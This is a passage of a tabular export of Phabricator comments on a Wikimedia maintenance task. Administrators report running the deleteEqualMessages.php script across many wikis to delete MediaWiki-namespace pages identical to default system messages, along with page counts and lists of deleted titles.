```",,,1441556987,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,113,,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,2.3076923076923075,0.7692307692307693,"Ran for a few more wikis:

``CODE``"
515512,"Delete all redundant ""MediaWiki"" pages for system messages","Ran for a few more wikis:

```
eowiki: 129 pages
euwiki: 740 pages
frpwiki: 2 pages
frwiki: 48 pages
huwiki: 7 pages
kawiki: 777 pages
ocwiki: 862 pages
rowiki: 432 pages
zhwiktionary: 143 pages
```",,,1440638349,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,112,,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,2.3076923076923075,0.7692307692307693,"Ran for a few more wikis:

``CODE``"
515511,"Delete all redundant ""MediaWiki"" pages for system messages","Ran for a few more wikis:

```
eowiki: 129 pages
euwiki: 740 pages
frpwiki: 2 pages
frwiki: 48 pages
huwiki: 7 pages
kawiki: 777 pages
ocwiki: 862 pages
rowiki: 432 pages
```",,,1440638311,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,112,,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,2.3076923076923075,0.7692307692307693,"Ran for a few more wikis:

``CODE``"
515178,"Delete all redundant ""MediaWiki"" pages for system messages","Ran for a few more wikis:

```
eowiki: 129 pages
euwiki: 740 pages
frpwiki: 2 pages
frwiki: 48 pages
huwiki: 7 pages
kawiki: 777 pages
ocwiki: 862 pages
```",,,1440615416,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,112,,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,2.3076923076923075,0.7692307692307693,"Ran for a few more wikis:

``CODE``"
514317,"Delete all redundant ""MediaWiki"" pages for system messages","Ran for a few more wikis:

```
eowiki: 129 pages
euwiki: 740 pages
frpwiki: 2 pages
frwiki: 48 pages
huwiki: 7 pages
kawiki: 777 pages
```",,,1440521878,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,112,,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,2.3076923076923075,0.7692307692307693,"Ran for a few more wikis:

``CODE``"
504971,"Delete all redundant ""MediaWiki"" pages for system messages",Maybe it can be used to clean old translations such as [[https://meta.wikimedia.org/w/index.php?title=Special%3AAllMessages&prefix=&filter=modified&lang=eu&limit=5000|these ones]] at Meta? (included other langs). Thread opened at Babel.,,,1439156148,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,109,,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,13.0,10.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.3225806451612905,0.8709677419354839,Maybe it can be used to clean old translations such as [[URL ones]] at Meta? (included other langs). Thread opened at Babel.
474060,"Delete all redundant ""MediaWiki"" pages for system messages","Ran it for a two more wikis after inspecting the dry-run:

```
cewiki: 243 pages
sawiki: 58 pages
```",,,1434167492,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,101,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,2.85,0.85,"Ran it for a two more wikis after inspecting the dry-run:

``CODE``"
455438,"Delete all redundant ""MediaWiki"" pages for system messages","Ran it for these wikis:
```
mediawikiwiki
* [[MediaWiki:Wikilove-barnstar-resilient-desc]]
* [[MediaWiki:Wikilove-barnstar-tireless-desc]]
* [[MediaWiki:Code-referenced]]
* [[MediaWiki:Rss-item]]

nlwiki
* [[MediaWiki:Logentry-block-block]]
* [[MediaWiki:Logentry-block-unblock]]
* [[MediaWiki:Centralauth-uwbr-name]]
* [[MediaWiki:Centralauth-uwbr-registration]]
* [[MediaWiki:Centralauth-uwbr-editcount]]
* [[MediaWiki:Centralauth-uwbr-intro]]
* [[MediaWiki:Sandboxlink-subpage-name]]
* [[MediaWiki:Sandboxlink-portlet-label]]

commonswiki: 0
metawiki: 0
```",,,1431010787,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,96,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.75,"Ran it for these wikis:
``CODE``"
433104,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#1152012, @Krenair wrote:
> Is there a reason we haven't done this on all wikis now?

No good one. It's fine to proceed.",,,1427358499,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,90,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9285714285714284,0.8571428571428571,"QUOTE
QUOTE

No good one. It's fine to proceed."
433018,"Delete all redundant ""MediaWiki"" pages for system messages","Is there a reason we haven't done this on all wikis now?

{P436}",,,1427334122,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,90,,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.9444444444444446,1.0,"Is there a reason we haven't done this on all wikis now?

{P436}"
229180,"Delete all redundant ""MediaWiki"" pages for system messages","Ran for commonswiki per my own request there as sysop (could've deleted them by hand):


> 279 pages in the MediaWiki namespace override messages.
> 1 pages are equal to the default message (+ 0 talk pages).
> 
> List:
> * [[MediaWiki:Visualeditor-ca-editsource]]",,,1409147479,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,60,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,14.0,18.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.75,"Ran for commonswiki per my own request there as sysop (could've deleted them by hand):


QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
229172,"Delete all redundant ""MediaWiki"" pages for system messages","Spread over the past two weeks, mwscript deleteEqualMessages.php was ran[1] on the following wikis while performing other routine maintenance and interface fixes:

abwiki
afwiki
afwikiquote
alswiki
bat-smgwiki
bpywiki
cswiki
cswikiversity
cswiktionary
cvwiki
lnwiki
nahwiktionary
newwiki
nlwiki
rowiktionary
simplewiki
sqwiki
suwiki
tlwiki

[1] https://wikitech.wikimedia.org/wiki/Server_admin_log",,,1399337202,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,44,,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,3.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,4.6571428571428575,0.7142857142857143,"Spread over the past two weeks, mwscript deleteEqualMessages.php was ran[1] on the following wikis while performing other routine maintenance and interface fixes:

abwiki
afwiki
afwikiquote
alswiki
bat-smgwiki
bpywiki
cswiki
cswikiversity
cswiktionary
cvwiki
lnwiki
nahwiktionary
newwiki
nlwiki
rowiktionary
simplewiki
sqwiki
suwiki
tlwiki

[1] URL"
229164,"Delete all redundant ""MediaWiki"" pages for system messages","(In reply to Nemo from comment #26)
> Thanks! I'd suggest to avoid touching talk pages, so that the operation is
> truly no-op. Those talk pages are unlikely to exist but wikis have different
> policies on the matter.

Good point. We have orphan tools to detect those and are indeed not always trivial/uncontroversial. Will keep them from now on.",,,1398283925,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,42,,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,19.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.627906976744186,0.813953488372093,"(In reply to Nemo from comment #26)
QUOTE
QUOTE
QUOTE

Good point. We have orphan tools to detect those and are indeed not always trivial/uncontroversial. Will keep them from now on."
229157,"Delete all redundant ""MediaWiki"" pages for system messages","Thanks! I'd suggest to avoid touching talk pages, so that the operation is truly no-op. Those talk pages are unlikely to exist but wikis have different policies on the matter.",,,1398282173,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,42,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,14.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,24.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,8.0,5.0,3.0,8.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,3.0,14.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.945945945945946,0.8648648648648649,"Thanks! I'd suggest to avoid touching talk pages, so that the operation is truly no-op. Those talk pages are unlikely to exist but wikis have different policies on the matter."
229149,"Delete all redundant ""MediaWiki"" pages for system messages","Ran mwscript deleteEqualMessages.php --delete --delete-talk on the following wikis:

* afwiki
* amwiki
* brwiki
* euwiktionary
* gvwiki
* hrwiki
* hrwiktionary
* iawiki
* miwiki
* mlwiki",,,1398281729,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,42,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.5714285714285714,"Ran mwscript deleteEqualMessages.php --delete --delete-talk on the following wikis:

* afwiki
* amwiki
* brwiki
* euwiktionary
* gvwiki
* hrwiki
* hrwiktionary
* iawiki
* miwiki
* mlwiki"
229143,"Delete all redundant ""MediaWiki"" pages for system messages","Done!

$ mwscript deleteEqualMessages.php --wiki wuuwiki --delete

Checking for pages with default message...
... fetching message info for content language
352 pages in the MediaWiki namespace override messages.
110 pages are equal to the default message (+ 0 talk pages).

...deleting equal messages (this may take a long time!)...
* [[MediaWiki:Sitematrix]]
* [[MediaWiki:Cite]]
* [[MediaWiki:Searchfulltext]]
* [[MediaWiki:Createarticle]]
* [[MediaWiki:Categorytree-mode-categories]]
* [[MediaWiki:Categorytree-expand]]
* [[MediaWiki:Categorytree-no-pages]]
* [[MediaWiki:Sitesupport]]
* [[MediaWiki:Fri]]
* [[MediaWiki:January-gen]]
* [[MediaWiki:March-gen]]
* [[MediaWiki:May-gen]]
* [[MediaWiki:September-gen]]
* [[MediaWiki:October-gen]]
* [[MediaWiki:November-gen]]
* [[MediaWiki:Mypage]]
* [[MediaWiki:History short]]
* [[MediaWiki:Print]]
* [[MediaWiki:Mainpage]]
* [[MediaWiki:Nstab-template]]
* [[MediaWiki:Logout]]
* [[MediaWiki:Userlogout]]
* [[MediaWiki:Notloggedin]]
* [[MediaWiki:Loginerror]]
* [[MediaWiki:Loginsuccesstitle]]
* [[MediaWiki:Wrongpassword]]
* [[MediaWiki:Bold sample]]
* [[MediaWiki:Bold tip]]
* [[MediaWiki:Savearticle]]
* [[MediaWiki:Loginreqtitle]]
* [[MediaWiki:Loginreqlink]]
* [[MediaWiki:Yourdiff]]
* [[MediaWiki:Nohistory]]
* [[MediaWiki:Nextrevision]]
* [[MediaWiki:Rev-delundel]]
* [[MediaWiki:Prevn]]
* [[MediaWiki:Prefs-personal]]
* [[MediaWiki:Prefs-rc]]
* [[MediaWiki:Prefs-watchlist]]
* [[MediaWiki:Prefs-watchlist-days]]
* [[MediaWiki:Prefs-watchlist-edits]]
* [[MediaWiki:Saveprefs]]
* [[MediaWiki:Searchresultshead]]
* [[MediaWiki:Savedprefs]]
* [[MediaWiki:Yourlanguage]]
* [[MediaWiki:Badsig]]
* [[MediaWiki:Userrights-user-editname]]
* [[MediaWiki:Rclistfrom]]
* [[MediaWiki:Diff]]
* [[MediaWiki:Hist]]
* [[MediaWiki:Show]]
* [[MediaWiki:Minoreditletter]]
* [[MediaWiki:Newpageletter]]
* [[MediaWiki:Uploadbtn]]
* [[MediaWiki:Uploadnologin]]
* [[MediaWiki:Uploaderror]]
* [[MediaWiki:Uploadlog]]
* [[MediaWiki:Uploadlogpagetext]]
* [[MediaWiki:Filedesc]]
* [[MediaWiki:Uploadedfiles]]
* [[MediaWiki:Uploadwarning]]
* [[MediaWiki:Savefile]]
* [[MediaWiki:Destfilename]]
* [[MediaWiki:Uploadnewversion-linktext]]
* [[MediaWiki:Download]]
* [[MediaWiki:Listredirects]]
* [[MediaWiki:Randompage]]
* [[MediaWiki:Statistics]]
* [[MediaWiki:Brokenredirects]]
* [[MediaWiki:Popularpages]]
* [[MediaWiki:Mostlinked]]
* [[MediaWiki:Mostlinkedcategories]]
* [[MediaWiki:Mostimages]]
* [[MediaWiki:Shortpages]]
* [[MediaWiki:Longpages]]
* [[MediaWiki:Listusers]]
* [[MediaWiki:Newpages-username]]
* [[MediaWiki:Log]]
* [[MediaWiki:Emailsend]]
* [[MediaWiki:Emailsent]]
* [[MediaWiki:Emailsenttext]]
* [[MediaWiki:Watchthispage]]
* [[MediaWiki:Unwatchthispage]]
* [[MediaWiki:Created]]
* [[MediaWiki:Confirm]]
* [[MediaWiki:Deletionlog]]
* [[MediaWiki:Rollback]]
* [[MediaWiki:Rollback short]]
* [[MediaWiki:Rollbackfailed]]
* [[MediaWiki:Protectlogpage]]
* [[MediaWiki:Restriction-edit]]
* [[MediaWiki:Restriction-move]]
* [[MediaWiki:Undeletepage]]
* [[MediaWiki:Mycontris]]
* [[MediaWiki:Blocklink]]
* [[MediaWiki:Blocklogpage]]
* [[MediaWiki:Movepagebtn]]
* [[MediaWiki:Cantmove-titleprotected]]
* [[MediaWiki:Thumbnail-more]]
* [[MediaWiki:Newimages]]
* [[MediaWiki:Variantname-zh-tw]]
* [[MediaWiki:Watchlistall2]]
* [[MediaWiki:Namespacesall]]
* [[MediaWiki:Descending abbrev]]
* [[MediaWiki:Table pager next]]
* [[MediaWiki:Table pager prev]]
* [[MediaWiki:Table pager first]]
* [[MediaWiki:Table pager limit]]
* [[MediaWiki:Autoredircomment]]
* [[MediaWiki:Version]]

done!",,,1395422702,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.08333333333333333,0.0,0.0,0.0,0.08333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,0.4166666666666667,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.0,0.08333333333333333,0.16666666666666666,0.0,0.08333333333333333,0.0,0.0,0.0,0.0,0.08333333333333333,0.0,0.0,0.0,0.25,0.0,0.08333333333333333,0.0,0.0,0.0,7.0,0.08333333333333333,0.0,0.0,0.08333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.08333333333333333,18.666666666666668,0.0,0.08333333333333333,0.3333333333333333,0.0,0.0,0.25,0.0,0.08333333333333333,0.0,0.25,0.0,0.0,0.4166666666666667,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.08333333333333333,0.0,0.16666666666666666,0.08333333333333333,0.0,20.333333333333332,2.9670026129152673,0.22859275849197458,"Done!

$ mwscript deleteEqualMessages.php --wiki wuuwiki --delete

Checking for pages with default message...
... fetching message info for content language
352 pages in the MediaWiki namespace override messages.
110 pages are equal to the default message (+ 0 talk pages).

...deleting equal messages (this may take a long time!)...
* [[MediaWiki:Sitematrix]]
* [[MediaWiki:Cite]]
* [[MediaWiki:Searchfulltext]]
* [[MediaWiki:Createarticle]]
* [[MediaWiki:Categorytree-mode-categories]]
* [[MediaWiki:Categorytree-expand]]
* [[MediaWiki:Categorytree-no-pages]]
* [[MediaWiki:Sitesupport]]
* [[MediaWiki:Fri]]
* [[MediaWiki:January-gen]]
* [[MediaWiki:March-gen]]
* [[MediaWiki:May-gen]]
* [[MediaWiki:September-gen]]
* [[MediaWiki:October-gen]]
* [[MediaWiki:November-gen]]
* [[MediaWiki:Mypage]]
* [[MediaWiki:History short]]
* [[MediaWiki:Print]]
* [[MediaWiki:Mainpage]]
* [[MediaWiki:Nstab-template]]
* [[MediaWiki:Logout]]
* [[MediaWiki:Userlogout]]
* [[MediaWiki:Notloggedin]]
* [[MediaWiki:Loginerror]]
* [[MediaWiki:Loginsuccesstitle]]
* [[MediaWiki:Wrongpassword]]
* [[MediaWiki:Bold sample]]
* [[MediaWiki:Bold tip]]
* [[MediaWiki:Savearticle]]
* [[MediaWiki:Loginreqtitle]]
* [[MediaWiki:Loginreqlink]]
* [[MediaWiki:Yourdiff]]
* [[MediaWiki:Nohistory]]
* [[MediaWiki:Nextrevision]]
* [[MediaWiki:Rev-delundel]]
* [[MediaWiki:Prevn]]
* [[MediaWiki:Prefs-personal]]
* [[MediaWiki:Prefs-rc]]
* [[MediaWiki:Prefs-watchlist]]
* [[MediaWiki:Prefs-watchlist-days]]
* [[MediaWiki:Prefs-watchlist-edits]]
* [[MediaWiki:Saveprefs]]
* [[MediaWiki:Searchresultshead]]
* [[MediaWiki:Savedprefs]]
* [[MediaWiki:Yourlanguage]]
* [[MediaWiki:Badsig]]
* [[MediaWiki:Userrights-user-editname]]
* [[MediaWiki:Rclistfrom]]
* [[MediaWiki:Diff]]
* [[MediaWiki:Hist]]
* [[MediaWiki:Show]]
* [[MediaWiki:Minoreditletter]]
* [[MediaWiki:Newpageletter]]
* [[MediaWiki:Uploadbtn]]
* [[MediaWiki:Uploadnologin]]
* [[MediaWiki:Uploaderror]]
* [[MediaWiki:Uploadlog]]
* [[MediaWiki:Uploadlogpagetext]]
* [[MediaWiki:Filedesc]]
* [[MediaWiki:Uploadedfiles]]
* [[MediaWiki:Uploadwarning]]
* [[MediaWiki:Savefile]]
* [[MediaWiki:Destfilename]]
* [[MediaWiki:Uploadnewversion-linktext]]
* [[MediaWiki:Download]]
* [[MediaWiki:Listredirects]]
* [[MediaWiki:Randompage]]
* [[MediaWiki:Statistics]]
* [[MediaWiki:Brokenredirects]]
* [[MediaWiki:Popularpages]]
* [[MediaWiki:Mostlinked]]
* [[MediaWiki:Mostlinkedcategories]]
* [[MediaWiki:Mostimages]]
* [[MediaWiki:Shortpages]]
* [[MediaWiki:Longpages]]
* [[MediaWiki:Listusers]]
* [[MediaWiki:Newpages-username]]
* [[MediaWiki:Log]]
* [[MediaWiki:Emailsend]]
* [[MediaWiki:Emailsent]]
* [[MediaWiki:Emailsenttext]]
* [[MediaWiki:Watchthispage]]
* [[MediaWiki:Unwatchthispage]]
* [[MediaWiki:Created]]
* [[MediaWiki:Confirm]]
* [[MediaWiki:Deletionlog]]
* [[MediaWiki:Rollback]]
* [[MediaWiki:Rollback short]]
* [[MediaWiki:Rollbackfailed]]
* [[MediaWiki:Protectlogpage]]
* [[MediaWiki:Restriction-edit]]
* [[MediaWiki:Restriction-move]]
* [[MediaWiki:Undeletepage]]
* [[MediaWiki:Mycontris]]
* [[MediaWiki:Blocklink]]
* [[MediaWiki:Blocklogpage]]
* [[MediaWiki:Movepagebtn]]
* [[MediaWiki:Cantmove-titleprotected]]
* [[MediaWiki:Thumbnail-more]]
* [[MediaWiki:Newimages]]
* [[MediaWiki:Variantname-zh-tw]]
* [[MediaWiki:Watchlistall2]]
* [[MediaWiki:Namespacesall]]
* [[MediaWiki:Descending abbrev]]
* [[MediaWiki:Table pager next]]
* [[MediaWiki:Table pager prev]]
* [[MediaWiki:Table pager first]]
* [[MediaWiki:Table pager limit]]
